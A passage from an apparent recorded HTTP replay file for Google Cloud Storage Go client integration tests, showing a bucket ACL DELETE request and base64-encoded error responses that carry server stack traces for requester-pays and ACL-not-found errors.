29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "ad55ad01147a8c62", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:02 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:02 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoQpkkPNbb1CGY8lAzUfymkmZ7PNlRK6hK3deBeoMip13ARTb212DIgf4lgUDM8PVQsAqcnKwzNulbZICoGzHwrsBZfyi7p5TGX2yJHLXSAGEY0MBE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0xfU0NPUEVfTk9UX0ZPVU5EOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZh